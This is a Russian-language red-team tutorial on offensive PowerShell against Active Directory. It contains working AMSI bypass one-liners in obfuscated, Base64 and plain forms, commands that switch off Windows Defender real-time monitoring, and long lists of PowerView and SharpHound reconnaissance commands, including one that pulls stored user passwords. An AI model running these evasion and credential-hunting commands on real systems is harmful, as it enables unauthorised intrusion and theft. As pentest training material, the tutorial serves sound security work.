Active Directory for Red Teams: Offensive PowerShell
SecDet SamuraiЦель этого руководства - объяснить базовые аспекты использования Offensive PowerShell для перечисления элементов Active Directory и терминологию, необходимую каждому пентестеру и red-teamer'у для понимания атак на сеть Active Directory.

В этой статье не рассматриваются PowerShell-атаки, такие как Local Privilege Escalation, Domain Persistence, Golden Ticket и Silver Ticket. Эти темы будут обсуждаться в следующей статье.
Введение в PowerShell
PowerShell — это язык сценариев Windows и среда оболочки, созданная с использованием фреймворка .NET. Это также позволяет PowerShell выполнять функции .NET непосредственно из своей оболочки. Большинство команд PowerShell написаны на .NET. В отличие от других языков сценариев и сред оболочки, выходные данные этих команд являются объектами, что делает PowerShell в некоторой степени объектно-ориентированным. Это также означает, что запуск команды позволяет выполнять действия над объектом вывода, что делает удобным передачу вывода от одной команды к другой. Обычный формат команд представлен в виде глагола-существительного; например, команда для вывода списка команд называется Get-Command.
Обычно используются следующие глаголы:
- Start
- Get
- Stop
- Read
- Write
- New
- Out
Использование Get-Help
Get-Help отображает информацию о команде. Чтобы получить справку о конкретной команде, выполните следующее:
PS C:\Ad-RedTeam> Get-Help Command-Name
Использование Get-Command
Get-Command возвращает все команды, установленные на текущем компьютере. Это особенно полезно для поиска команд по шаблону.
PS C:\Ad-RedTeam> Get-Command Verb-* # OR PS C:\Ad-RedTeam> Get-Command *-Noun
Для просмотра всех команд для глагола New:
PS C:\Ad-RedTeam> Get-Command New-*
Манипулирование объектами
В PowerShell выход каждой команды — это объект. Чтобы действительно манипулировать выводом, нужно помнить несколько моментов:
- Вывод одной команды можно передать другой.
- Для извлечения информации из объекта можно использовать определенные команды.
Труба ( | ) используется для передачи вывода от одной команды к другой. Основное отличие от других командных интерпретаторов заключается в том, что вместо передачи текста или строки, PowerShell передает объект следующей команде. Как и любой объект в объектно-ориентированных системах, объект содержит методы и свойства. Методы — это функции, которые можно применить к выводу команды, а свойства — это переменные в выводе команды. Чтобы просмотреть эти сведения, передайте вывод команде Get-Member:
PS C:\Ad-RedTeam> Verb-Noun | Get-Member
Пример запуска этого для просмотра Get-Command:
PS C:\Ad-RedTeam> Get-Command | Get-Member -MemberType Method
Из приведенного примера видно, что вы также можете выбирать между методами и свойствами.
Создание объектов на основе предыдущих команд
Одним из способов манипулирования объектами является извлечение свойств из результатов выполнения команды и создание нового объекта. Это делается с помощью команды Select-Object. Вот пример перечисления каталогов и простого выбора режима и имени:
PS C:\Ad-RedTeam> Get-ChildItem | Select-Object Mode, Name
Вы также можете использовать следующие флаги для выбора конкретной информации:
first— получает первый объект xlast— получает последний объект xunique— показывает уникальные объектыskip— пропускает x объектов
Фильтрация объектов
При получении выходных объектов вы можете выбрать объекты, соответствующие определенному значению. Это можно сделать с помощью команды Where-Object для фильтрации на основе значений свойств. Общий формат использования этой команды следующий:
PS C:\Ad-RedTeam> Verb-Noun | Where-Object -Property PropertyName -operator Value
# OR
PS C:\Ad-RedTeam> Verb-Noun | Where-Object {$_.PropertyName -operator Value}
Во второй версии используется оператор $_ для перебора каждого объекта, переданного команде Where-Object.
PowerShell довольно чувствителен, поэтому убедитесь, что вы не заключаете команду в кавычки!
Вот примеры операторов:
Contains: если какой-либо элемент в значении свойства точно соответствует указанному значению-EQ: если значение свойства совпадает с указанным значением-GT: если значение свойства больше указанного значения
Полный список операторов доступен по этой ссылке.
Пример проверки остановленных процессов:
PS C:\Ad-RedTeam> Get-Process | Where-Object {$_.Status -eq "Stopped"}
Сортировка объектов
Когда команда выводит большое количество информации, вам может понадобиться отсортировать ее для более эффективного извлечения информации. Для этого нужно передать вывод команды в команду Sort-Object.
Формат команды будет следующим:
PS C:\Ad-RedTeam> Verb-Noun | Sort-Object PropertyName
Вот пример сортировки списка каталогов:
PS C:\Ad-RedTeam> Get-ChildItem | Sort-Object Name
Обход AMSI и мониторинга в реальном времени
При первичном доступе к машине-жертве можно загрузить сценарий PowerShell для запуска процесса перечисления. Однако, оболочки могут "падать" или не загружаться, так как их блокирует антивирус (AV). Уклонение от AV — это сложная задача, и AMSI играет в этом важную роль.

Anti-Malware Scan Interface (AMSI) — это функция безопасности PowerShell, позволяющая приложениям и сервисам интегрироваться с продуктами для защиты от вредоносных программ. AMSI сканирует полезные нагрузки и сценарии перед их выполнением. AMSI — это универсальный стандарт интерфейса, который позволяет вашим приложениям и службам интегрироваться с любым антивирусным ПО на машине, обеспечивая улучшенную защиту программного обеспечения, конечных пользователей и их данных от вредоносных программ.
Дополнительные сведения об AMSI можно найти в документации по Windows.
Пример передачи данных внутри функций безопасности Windows
AMSI отправляет различные коды ответов в зависимости от результатов сканирования:
AMSI_RESULT_CLEAN = 0 AMSI_RESULT_NOT_DETECTED = 1 AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384 AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479 AMSI_RESULT_DETECTED = 32768
AMSI полностью интегрирован в следующие компоненты Windows:
- Контроль учетных записей пользователей (UAC)
- PowerShell
- Хост сценариев Windows (wscript и cscript)
- JavaScript и VBScript
- Макросы Office VBA
AMSI используется как в System.Management.Automation.dll, так и в CLR. Внутри среды CLR AMSI вызывается только при загрузке из памяти. Можно изучить функции безопасности PowerShell с помощью проекта InsecurePowerShell, поддерживаемого Cobbr.
Код C# для работы с AMSI
var scriptExtent = scriptBlockAst.Extent;
if (AmsiUtils.ScanContent(scriptExtent.Text, scriptExtent.File) == AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_DETECTED)
{
var parseError = new ParseError(scriptExtent, "ScriptContainedMaliciousContent", ParserStrings.ScriptContainedMaliciousContent);
throw new ParseException(new[] { parseError });
}
if (ScriptBlock.CheckSuspiciousContent(scriptBlockAst) != null)
{
HasSuspiciousContent = true;
}
Использование AMSI в своих продуктах
Обход AMSI
Теперь, когда мы понимаем основы AMSI, можно приступить к его обходу с помощью PowerShell. Существует несколько способов обхода AMSI:
Обфускацией AMSI
PS C:\Ad-RedTeam> sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
с помощью Base64
PS C:\Ad-RedTeam> [Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
с помощью PowerShell 6
PS C:\Ad-RedTeam> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Обход мониторинга в реальном времени
PS C:\Ad-RedTeam> Powershell Set-MpPreference -DisableRealtimeMonitoring $true PS C:\Ad-RedTeam> Powershell Set-MpPreference -DisableIOAVProtection $true
Базовое перечисление
После обхода AMSI и защиты в реальном времени можно начать перечисление домена и сопоставление различных сущностей, трастов, отношений и привилегий.
Перечисление с PowerView
Получение текущего домена:
PS C:\Ad-RedTeam> Get-NetDomain
Получение объекта другого домена:
PS C:\Ad-RedTeam> Get-NetDomain -Domain <domain-name>
Получить SID домена для текущего домена:
PS C:\Ad-RedTeam> Get-DomainSID
Получение политики домена для текущего домена:
PS C:\Ad-RedTeam> Get-DomainPolicy PS C:\Ad-RedTeam> (Get-DomainPolicy)."system access"
Получение политики домена для другого домена:
PS C:\Ad-RedTeam> (Get-DomainPolicy -domain <domain-name>)."system access" PS C:\Ad-RedTeam> (Get-DomainPolicy -domain <domain-name>)."kerberos policy" PS C:\Ad-RedTeam> (Get-DomainPolicy -domain <domain-name>)."Privilege Rights"
Получение контроллеров домена
Для текущего домена:
PS C:\Ad-RedTeam> Get-NetDomainController
Для другого домена:
PS C:\Ad-RedTeam> Get-NetDomainController -Domain <domain-name>
Получение списка пользователей
В текущем домене:
PS C:\Ad-RedTeam> Get-NetUser PS C:\Ad-RedTeam> Get-NetUser -Username student1
Получение всех свойств для пользователей
PS C:\Ad-RedTeam> Get-UserProperty PS C:\Ad-RedTeam> Get-UserProperty -Properties pwdlastset,logoncount,badpwdcount PS C:\Ad-RedTeam> Get-UserProperty -Properties logoncount PS C:\Ad-RedTeam> Get-UserProperty -Properties badpwdcount
Если количество входов в систему и количество плохих паролей пользователя стремится к нулю, это может быть ложная учетная запись.
Поиск определенной строки в атрибутах пользователя
PS C:\Ad-RedTeam> Find-UserField -SearchField Description -SearchTerm "built"
Получение списка компьютеров
PS C:\Ad-RedTeam> Get-NetComputer PS C:\Ad-RedTeam> Get-NetComputer -OperatingSystem "*Server 2016*" PS C:\Ad-RedTeam> Get-NetComputer -Ping PS C:\Ad-RedTeam> Get-NetComputer -FullData
Получение всех групп
В текущем домене:
PS C:\Ad-RedTeam> Get-NetGroup PS C:\Ad-RedTeam> Get-NetGroup -Domain <targetdomain> PS C:\Ad-RedTeam> Get-NetGroup -FullData PS C:\Ad-RedTeam> Get-NetComputer -Domain
Группы, содержащие слово "admin":
PS C:\Ad-RedTeam> Get-NetGroup *admin* PS C:\Ad-RedTeam> Get-NetGroup -GroupName *admin* PS C:\Ad-RedTeam> Get-NetGroup *admin* -FullData PS C:\Ad-RedTeam> Get-NetGroup -GroupName *admin* -Domain <domain-name>
Получение членов группы "Domain Admins"
PS C:\Ad-RedTeam> Get-NetGroupMember -GroupName "Domain Admins" -Recurse
Проверка членства в группе для пользователя
PS C:\Ad-RedTeam> Get-NetGroup -UserName "student1"
Список всех локальных групп на машине
PS C:\Ad-RedTeam> Get-NetLocalGroup -ComputerName <servername> -ListGroups
Получение членов всех локальных групп на машине
PS C:\Ad-RedTeam> Get-NetLocalGroup -ComputerName <servername> -Recurse
Получение активно зарегистрированных пользователей
PS C:\Ad-RedTeam> Get-NetLoggedon -ComputerName <servername>
Получение локально зарегистрированных пользователей
PS C:\Ad-RedTeam> Get-LoggedonLocal -ComputerName <servername>
Получение последнего зарегистрированного пользователя
PS C:\Ad-RedTeam> Get-LastLoggedon -ComputerName <servername>
Поиск общих ресурсов
PS C:\Ad-RedTeam> Invoke-ShareFinder -Verbose
Поиск конфиденциальных файлов
PS C:\Ad-RedTeam> Invoke-FileFinder -Verbose
Получение всех файловых серверов домена
PS C:\Ad-RedTeam> Get-NetFileServer
Перечисление объектов групповой политики
Групповая политика (Group Policy) позволяет централизованно управлять конфигурациями и изменениями в Active Directory (AD). Она предоставляет возможность настроить:
- Настройки безопасности
- Параметры политики на основе реестра
- Настройки запуска/завершения/входа/выхода из системы
- Установку программного обеспечения
Перечисление объектов групповой политики (GPO) может быть использовано для различных атак. Рассмотрим, как это делается с помощью PowerView.
Перечисление PowerView
Получение списка объектов групповой политики в текущем домене:
PS C:\Ad-RedTeam> Get-NetGPO PS C:\Ad-RedTeam> Get-NetGPO -ComputerName dcorp-student1.dollarcorp.moneycorp.local PS C:\Ad-RedTeam> Get-GPO -All (GroupPolicy module) PS C:\Ad-RedTeam> Get-GPResultantSetOfPolicy -ReportType Html -Path E:\Ad-TedTeam\ad-test.html (Provides RSoP) PS C:\Ad-RedTeam> gpresult /R /V (GroupPolicy Results of current machine)
Получение объектов групповой политики, которые используют группы с ограниченным доступом или groups.xml для интересных пользователей:
PS C:\Ad-RedTeam> Get-NetGPOGroup
Получение пользователей, которые находятся в локальной группе машины, используя GPO:
PS C:\Ad-RedTeam> Find-GPOComputerAdmin -ComputerName student1.dollarcorp.moneycorp.local
Получение машин, на которых данный пользователь является членом определенной группы:
PS C:\Ad-RedTeam> Find-GPOLocation -Username student1 -Verbose
Получение OU (организационных единиц) в домене:
PS C:\Ad-RedTeam> Get-NetOU -FullData
PS C:\Ad-RedTeam> Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} # Получить все компьютеры внутри OU (например, StudentMachines)
Получение объекта групповой политики, примененного к OU. Прочитать имя GPO из атрибута gplink из Get-NetOU:
PS C:\Ad-RedTeam> Get-NetGPO -GPOname "{AB306569-220D-43FF-BO3B-83E8F4EF8081}"
PS C:\Ad-RedTeam> Get-GPO -Guid AB306569-220D-43FF-B03B-83E8F4EF8081 (GroupPolicy module)
Перечисление разрешений для объектов групповой политики, где пользователи с RID > 1000 имеют права на изменение/управление:
PS C:\Ad-RedTeam> Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')}
Get-NetGPO -GPOName '{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}'
Перечисление ACL
Модель управления доступом позволяет контролировать возможность процессов получать доступ к объектам и другим ресурсам в Active Directory:
- Токены доступа (контекст безопасности процесса - личность и привилегии пользователя)
- Дескрипторы безопасности (SID владельца, дискреционный ACL (DACL) и системный ACL (SACL))
Это представляет собой список записей управления доступом (ACE), каждая из которых соответствует отдельному разрешению или аудиту доступа. ACE указывает, кто имеет разрешение и что может делать с объектом.
Существует два типа ACL:
- DACL: Определяет разрешения для доверенных лиц (пользователь или группа) для объекта.
- SACL: Регистрирует сообщения аудита об успешном и неудачном доступе к объекту.
📌 ACL жизненно важны для архитектуры безопасности AD.
Перечисление PowerView
Получение ACL, связанных с указанным объектом:
PS C:\Ad-RedTeam> Get-ObjectAcl -SamAccountName student1 -ResolveGUIDs
Получение списков управления доступом, связанных с указанным префиксом, для поиска:
PS C:\Ad-RedTeam> Get-ObjectAcl -ADSprefix 'CN=Administrator,CN=Users' -Verbose
Мы также можем перечислить ACL с помощью модуля ActiveDirectory, но без разрешения GUID:
PS C:\Ad-RedTeam> (Get-Acl "AD:\CN=Administrator, CN=<name>, DC=<name>, DC=<name>,DC=local").Access
Получение списков управления доступом, связанных с указанным путем LDAP, для поиска:
PS C:\Ad-RedTeam> Get-ObjectAcl -ADSpath "LDAP://CN=Domain Admins,CN=Users,DC=<name>,DC=<name>,DC=local" -ResolveGUIDs -Verbose
Поиск интересных ACE:
PS C:\Ad-RedTeam> Invoke-ACLScanner -ResolveGUIDs
Получение ACL, связанных с указанным путем:
PS C:\Ad-RedTeam> Get-PathAcl -Path "\\<computer-name>\sysvol"
Найти интересные ACE (разрешения на изменение объектов с RID > 1000):
PS C:\Ad-RedTeam> Find-InterestingDomainAcl -ResolveGUIDs
Проверка, относится ли какое-либо найденное интересное разрешение к имени пользователя/группе:
PS C:\Ad-RedTeam> Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"}
Получение специальных прав для всех администраторов в домене:
PS C:\Ad-RedTeam> Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights
Перечисление трастов
В среде AD доверие - это отношения между двумя доменами или лесами, которые позволяют пользователям одного домена или леса получать доступ к ресурсам в другом домене или лесу. Доверие может быть автоматическим (родитель-потомок, тот же лес) или установленным (лес, внешний). Объекты доверенного домена (TDO) представляют доверительные отношения в домене.
Перечисление PowerView
Получение всех доверительных отношений домена:
PS C:\Ad-RedTeam> Get-NetDomainTrust
Перечисление всех доверительных отношений всех найденных доменов:
PS C:\Ad-RedTeam> Get-NetForestDomain | Get-NetDomainTrust
Перечисление всех трастов:
PS C:\Ad-RedTeam> Get-DomainTrustMapping
Получение информации о текущем лесу (без внешнего):
PS C:\Ad-RedTeam> Get-ForestGlobalCatalog
Получение информации о внешнем лесу (если возможно):
PS C:\Ad-RedTeam> Get-ForestGlobalCatalog -Forest external.domain PS C:\Ad-RedTeam> Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"
Получение доверительных отношений леса (между корнями):
PS C:\Ad-RedTeam> Get-NetForestTrust
Получение пользователей с привилегиями в других доменах внутри леса:
PS C:\Ad-RedTeam> Get-DomainForeingUser
Получение групп с привилегиями в других доменах внутри леса:
PS C:\Ad-RedTeam> Get-DomainForeignGroupMember
Low Hanging Fruit (очень легкая добыча)
Проверка, установлены ли какие-либо пароли пользователей:
PS C:\Ad-RedTeam> $FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
Запрос DC для всех компьютеров и проверка каждого компьютера на наличие доступа администратора (потребуется открыть порты RCP и SMB):
PS C:\Ad-RedTeam> Find-LocalAdminAccess
Выполнение того же действия с использованием WMI на каждом компьютере (потребуются привилегии администратора):
PS C:\Ad-RedTeam> .\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt
Перечисление машин, на которых конкретный пользователь/группа имеет права локального администратора:
PS C:\Ad-RedTeam> Get-DomainGPOUserLocalGroupMapping -Identity <User/Group>
Получение локальных администраторов на всех компьютерах (нужны права суперпользователя):
PS C:\Ad-RedTeam> Invoke-EnumerateLocalAdmin
Поиск компьютеров с неограниченным делегированием и отображение пользователей:
PS C:\Ad-RedTeam> Find-DomainUserLocation -ComputerUnconstrained -ShowAll
Поиск пользователей-администраторов, которым разрешено делегирование, вошедших на серверы с неограниченным делегированием:
PS C:\Ad-RedTeam> Find-DomainUserLocation -ComputerUnconstrained -PS UserAdminCount -UserAllowDelegation
Получение членов от администраторов домена и проверка, если какой-либо из них вошел в систему на любой машине:
PS C:\Ad-RedTeam> Invoke-UserHunter -CheckAccess
Поиск пользователей «RDPUsers»:
PS C:\Ad-RedTeam> Invoke-UserHunter -GroupName "RDPUsers"
Поиск активных пользователей только на серверах с высоким трафиком:
PS C:\Ad-RedTeam> Invoke-UserHunter -Stealth
Перечисление BloodHound
BloodHound предоставляет графический интерфейс для анализа сущностей AD и их отношений, используя данные, собранные SharpHound. BloodHound применяет теорию графов для поиска кратчайшего пути к целевым объектам, таким как администраторы домена.
Источник: BloodHound GitHub
Перечисление SharpHound
SharpHound используется для сбора данных, которые затем загружаются в BloodHound для анализа.
Запуск SharpHound и сбор данных:
PS C:\Ad-RedTeam> . .\SharpHound.ps1 PS C:\Ad-RedTeam> Invoke-BloodHound -CollectionMethod All,LoggedOn
Сбор данных с минимизацией обнаружений:
PS C:\Ad-RedTeam> Invoke-BloodHound -CollectionMethod All -ExcludeDC
Запуск neo4j и BloodHound UI на машине Kali и загрузка файлов zip/json:
PS C:\Ad-RedTeam> sudo neo4j console PS C:\Ad-RedTeam> bloodhound
Резюмируем вышесказанное
Перечисление объектов в Active Directory (AD) является важным аспектом для управления безопасностью и выявления уязвимостей. Это включает:
- Групповую политику: централизованное управление настройками безопасности и конфигурациями, с помощью таких инструментов, как
Get-NetGPO,Get-GPO -All, иFind-GPOComputerAdmin. - Списки управления доступом (ACL): контроль доступа к объектам и ресурсам AD. Использование команд, таких как
Get-ObjectAclиInvoke-ACLScanner, помогает выявить и оценить права доступа пользователей и групп. - Трасты: отношения доверия между доменами и лесами, что позволяет управлять доступом пользователей к ресурсам в различных доменах. Команды
Get-NetDomainTrustиGet-NetForestTrustпозволяют перечислить и анализировать эти отношения. - Инструменты PowerView и BloodHound: мощные средства для автоматизации перечисления и визуализации данных о структуре и связях в AD, что помогает в проведении аудитов безопасности и выявлении потенциальных рисков.
Общее понимание этих концепций и методов разведки важно для администраторов безопасности и специалистов по информационной безопасности, чтобы обнаруживать потенциальные уязвимости и защищать среду Active Directory от возможных атак.
Оставайтесь в курсе последних новостей в области кибербезопасности, станьте подписчиком нашего королевства и узнайте о новых методах защит и атак. Не забудьте прочитать и другие наши статьи, чтобы расширить свои знания и быть на шаг впереди потенциальных угроз.
📌https://t.me/secdet_team
📌https://t.me/secdet_team
📌https://t.me/secdet_team
Эти и другие статьи в нашем канале
Безопасность - это постоянный процесс, и каждый шаг, предпринятый в направлении ее улучшения, имеет значение